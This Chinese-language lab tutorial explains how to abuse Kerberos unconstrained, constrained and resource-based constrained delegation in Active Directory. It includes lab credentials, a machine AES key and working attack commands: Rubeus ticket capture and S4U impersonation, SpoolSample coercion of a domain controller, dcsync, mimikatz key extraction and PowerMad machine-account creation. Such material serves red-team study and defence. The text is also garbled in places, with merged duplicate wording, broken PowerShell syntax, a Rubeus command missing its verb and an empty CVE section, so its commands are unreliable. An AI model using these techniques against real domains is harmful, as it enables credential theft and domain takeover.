Kerberos委派的利用

这一小节，我们讨论 Kerberos 委派。委派解决了双跳问题，但是，攻击者也可以利用委派来获得代码执行以及横向移动到其他主机上。

出于教学目的，本小节将采取白盒的形式，即暂时跳过至委派利用之前的前置利用步骤，提供明文凭证

【非约束委派】
raven-med域中的mon01主机(admin:Passw0rdmon01)

【约束委派】
white-bird域中的web02主机，指定了dc05的eventlog和cifs服务，Administrator不可被委派。(Administrator:Passw0rdweb02)
(CVE-2020-17049)med-deal域中的srv02主机，指定了dc04的eventlog服务，Administrator不可被委派。(Administrator:Passw0rdsrv02)

【基于资源的约束委派】
file01对mon01具有AllExtendedRights特权(Administrator:Passw0rdfile01)

非约束委派

Kerberos 委派允许用户或服务代表另一位用户访问另一个服务。一个典型的场景是，用户向 IIS 服务器进行身份验证，然后 IIS 服务器代表用户向 MSSQL 服务器进行身份验证。

非约束委派可以分配给计算机或用户，但主要是计算机。配置可以在域控制器上完成。从系统管理员的角度来看，我们可以在委派选项卡上选择信任此计算机代表任何服务 (仅限 Kerberos)选项，为域计算机配置非约束委派。

我们提到了委派解决了双跳问题，那么非约束委派是如何解决这个问题的呢？如果一台计算机被配置了非约束委派，当用户访问 IIS (前端服务) 服务器时，KDC 也将用户的 TGT 包含在 TGS 票据中。然后，IIS 服务器提取用户的 TGT 并将其缓存在内存中。之后，IIS 服务器使用用户的 TGT 代表用户访问 MSSQL (后端服务) 服务器。但问题在于，由于用户的 TGT 被缓存在 IIS 服务器的内存中，IIS 服务器可以使用用户的 TGT 代表用户访问任何其他服务，这意味着 IIS 服务器可以模仿用户。如果 IIS 服务器受到攻击，攻击者可以从内存中提取所有 TGT 并模仿这些用户。更糟糕的是，如果缓存了高权限用户的 TGT，例如域管理员的 TGT，攻击者可以接管整个域和森林。

我们来详细解释一下这些步骤。

枚举

Get-NetComputer -Unconstrained | select dnshostname

域控制器总是被配置了非约束委派，但这对我们没有帮助，能拿下域控制器，我们也不需要借助非约束委派来提权了。

利用

1：在配置了非约束委派的主机上拿到最高权限。我们已经提供了明文凭证。

2：使用 Rubeus 在当前主机上开启监听模式，每间隔 5 秒钟刷新新的票据

rubeus.exe monitor /interval:5 /nowrap

3：等待高权限用户访问 Mon01 上的服务，例如 SMB 共享目录，但这样太偶然了。我们可以使用 spoolsample 这类强制认证的工具，通过 MS-RPRN RPC 接口强制另一台主机对该主机认证。

spoolsample.exe dc02 mon01

我们可以在任何 Windows 域内主机上执行该命令。

4：复制 dc02$ 的TGT，使用 Rubeus 来传递票据至内存中

rubeus.exe ptt /ticket:<...>

5：使用 dcsync 导出任意用户的凭证

dcsync <域的fqdn> <域\用户>

6：但如果直接访问 dc02 的 C$，会发现访问被拒绝，因为我们导入的是 dc02$ 的 TGT，即主机帐号的票据。主机帐号对自身没有本地管理员权限，但在后文我们可以实现。

非约束委派十分强大，在森林里，如果我们攻下一台配置了非约束委派的主机，我们可以轻易接管整个森林。在特定情况下，我们甚至能将访问延伸到其他森林。

约束委派

受限委派比非约束委派更安全，因为服务器不再缓存用户的 TGT 票据。相反，服务器可以使用自己的 TGT 为用户请求一个 TGS，并且服务器只能代表用户访问指定的服务器和服务。以 Web02 为例，IIS 服务器只能代表用户访问 dc05 主机上的 CIFS 和 eventlog 服务。

从系统管理员的角度来看，可以像这样配置约束委派：选择信任此计算机仅委派给指定的服务选项。 它有 2 个子选项，分别是使用任何身份验证协议，以及仅使用 Kerberos。我们先研究前者，稍后会讨论，如果选择了仅使用 Kerberos，会有什么不同，以及如何利用。 此外，除了主机，服务帐户也可以被配置约束委派。

我们能看到一些区别，即 Srv02 的非约束委派选择的是仅使用 Kerberos

我们能看到，Web02 可以代表用户访问 Dc05 的 cifs 和 eventlog 服务，cifs 固然很棒，但 eventlog 看起来却并不令人兴奋，不过不用担心。虽然服务是指定的，但我们可以使用 altservice 技巧来绕过，因为服务名称不会被 S4U 验证，而且它在票据中也没有加密。

我们来详细了解一下受限委派的整个过程。

步骤 1

用户 -> IIS 服务器：用户通过 NTLM 认证与 IIS 服务器进行身份验证，只要认证不是 Kerberos。

步骤 2

IIS 服务器 -> DC：IIS 服务器利用 S4U2Self 为用户请求访问自身 (IIS 服务器) 的 TGS 票据。

步骤 3

DC -> IIS 服务器：KDC 将可转发的 TGS 返回给 IIS 服务器。

步骤 4

IIS 服务器 -> DC：IIS 服务器利用 S4U2Proxy 为用户请求访问 SQL 服务器的 TGS。

步骤 5

DC -> IIS 服务器：KDC 将 TGS 返回给 IIS 服务器。

步骤 6

IIS 服务器 -> SQL 服务器：IIS 服务器使用可转发的 TGS 代表用户访问 SQL 服务。

枚举

Get-NetComputer -TrustedToAuth

Get-NetUser -TrustedToAuth

我们的 Lab 里，目前还没有配置了约束委派的服务账户。

利用

1：攻下被配置了约束委派的服务账户或者主机。如果是主机，那么我们可能需要 SYSTEM 权限。

2：为目标机器或服务帐户请求 TGT。

情形 1：我们已经拥有本地管理员权限，或者我们知道目标用户或主机的凭证。

rubeus.exe asktgt /user:srv-1$ /aes256:[…] /nowrap

在拿到 SYSTEM 权限后，可以通过 mimikatz 模块提取 Web02$ 的密钥

mimikatz sekurlsa::ekeys

当前，web02$ 的 AES256 密钥为 ff70e5004ca27ea31f48b870601ac62d7ddd70ee3770ffbe6cb3fef1ccc493a4d0c57a077feb7e2c14745fccffe48e26257c8dd633a48386450ab87fbaff1154 (你们找到的可能有所不同)。我们可以通过密钥来申请 TGT，或者从内存中导出 TGT。

情形 2：我们没有本地管理员权限，也不知道当前用户或主机的凭证。这种情形通常是我们拿下了被配置了约束委派的服务账户，但该账户对主机没有本地管理员特权，即无法提取密钥。我们可以使用 Rubeus 的 tgtdeleg 来申请可用的 TGT。

rubeus.exe tgtdeleg /nowrap

总的来说，无论在哪种情形下，tgtdeleg 技巧是很方便的。

3：将TGT另 TGT 另存为文件，或者将 base64 编码后的票据复制到粘贴板

Kali上Kali

echo ‘'<..ticket..>’' | base64 -d > xxx.tgt.kirbi

在Windows上Windows

[System.IO.File]::WriteAllBytes(“C:\windows\temp\xxx.kirbi”,[System.Convert]::FromBase64String(“<..ticket..>”))

4：冒充模仿特权用户并请求 TGS 票证以访问目标主机器上的 CIFS 服务。 例如，特权用户可以是目标主机器的本地管理员，有时我们甚至可以冒充模仿域管理员。 但请注意，域用户可以配被设置为无法敏感账户从而不可被委派。 我提到所指定的服务名称不会被验证，所以即使目标服务是事件系统， eventlog，我们也可以将其修改为 cifsCIFS 服务。

在 white-bird.local 中，域管理员 Administrator 是敏感账户，不可以被委派。但另一个域管理员账户 macro 却可以被委派。

命令应该是

rubeus.exe /impersonateuser:<high privileged user高特权用户> /msdsspn:<service指定的服务名称>/<域fqdn> /user:<user被配置约束委派的账户> /ticket:srv01.kirbi<文件或编码> /altservice:cifs /nowrap /ptt

我们看到，一共有 2 张 TGS票据。第一张是通过 S4U2Self 得到，是 Web02 代表用户 macro 申请访问自身 (Web02) 的 TGS，第二张 TGS 是通过 S4U2Proxy 得到，Web02 代表用户 macro 申请访问 Dc05 的 CIFS 服务的 TGS。 其中，我们通过 altservice 技巧修改了 eventlog 服务，更换为了 cifs。

5：ticket被导入内存后，所以我们可以在client01上 Web02 上访问 Dc05 的 C$ 了。

基于资源的约束委派

配置受限委派需要在域控制器上具有 SeEnableDelegationPrivilege 权限，通常只有域管理员用户才能配置它。然而，配置基于资源的受限委派（RBCD）并不需要这个权限，系统管理员可以为计算机配置 RBCD。资源本身可以决定信任谁。

要配置受限委派，需要为 IIS 服务器配置 msDs-AllowedToDelegateTo 属性。RBCD 通过在 MSSQL 服务器上添加 msDS-AllowedToActOnBehalfOfOtherIdentity 属性来工作。该属性应该是 IIS 服务器的 SID。

配置 RBCD 有一个要求。前端服务（IIS 服务器）应该具有一个 SPN，因为前端服务需要在 S4U2Self 过程中为用户请求访问自身的 TGS 票据。如果前端服务不是计算机帐户或服务帐户，那么它就没有意义。

枚举

如果拥有的用户或机器拥有对另一台机器的 GenetricWrite（或更高权限）权限。

利用

1：新建机器账号。如果您已经拥有拥有机器的 SYSTEM 权限，那也没关系。

导入 PowerMad.ps1 脚本工具。

New-MachineAccount -MachineAccount rbcd -Password $(ConvertTo-SecureString ‘123123’) -AsPlainText -Force)

2: 将 AllowedToActOnBehalfOfOtherIdentity 属性添加到机器 SRV01（后端服务），该值应为 client01 的（前端服务）SID。

导入 Active Directory 模块

Set-ADComputer [back end server] -PrincipalsAllowedToDelegateToAccount -Server [DC IP] -Verbose

3：类似于约束委派部分的步骤。 利用 S4U 冒充高权限用户获取 TGS 票证以访问后端服务器的资源。 但首先，我们需要知道添加的计算机帐户的哈希密码。

rubeus.exe hash /domain:<domain> /user:rbcd$ /password:<password>

然后滥用S4U，访问后端服务器上的资源。

rubeus.exe s4u /user:rbcd$ /aes256:<…> /impersonateuser:<high privileged user> /msdsspn:<service>/<fqdn> /altservice:http,host,cifs /ptt

S4U

我们在约束委派和 RBCD 部分讨论了 S4U2Self 和 S4U2Proxy。您可能对它们感到困惑，不用担心，我会向您解释。

S4U2Self

它代表用户请求 TGS 票证以访问前端服务器。

S4U2Self 利用

计算机帐户在其自身上没有本地管理员权限。例如，我们可以捕获计算机帐户的 TGT，但我们不能直接以本地管理员权限移动到计算机。我们之前获得了 Dc01$ 的 TGT，我们可以通过以下步骤将 Dc01 计算机帐户的 TGT 转换为 CIFS TGS。

首先，请确保我们现在无法访问 Dc01 的 C$。

S4U2Proxy

它代表用户请求 TGS 票证以访问后端服务。

那么为什么没有选择“仅使用 Kerberos”呢？如果选中，则使用 Kerberos 对前端服务（IIS 服务器）进行身份验证，S4U2Proxy 可以使用用户提供的可转发 TGS 票证。通过这种方式，我们需要用户交互来窃取用户的 TGS 票证。

CVE-2020-17049

比较

非约束委派

前端服务器配置无约束委派，它代表经过身份验证的用户请求访问域中的任何资源。

约束委派

前端服务器的 msDS-AllowedToDelegateTo 属性配置后端服务器的 SPN。前端服务器使用其身份 (TGT) 代表经过身份验证的用户请求访问指定后端服务器上的指定服务。模式是 A 信任 B。

基于资源的约束委派

后端服务器的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性配置前端服务器的 SID。这意味着，后端服务器允许前端服务器代表其他用户访问自己的资源。模式是 B 信任 A。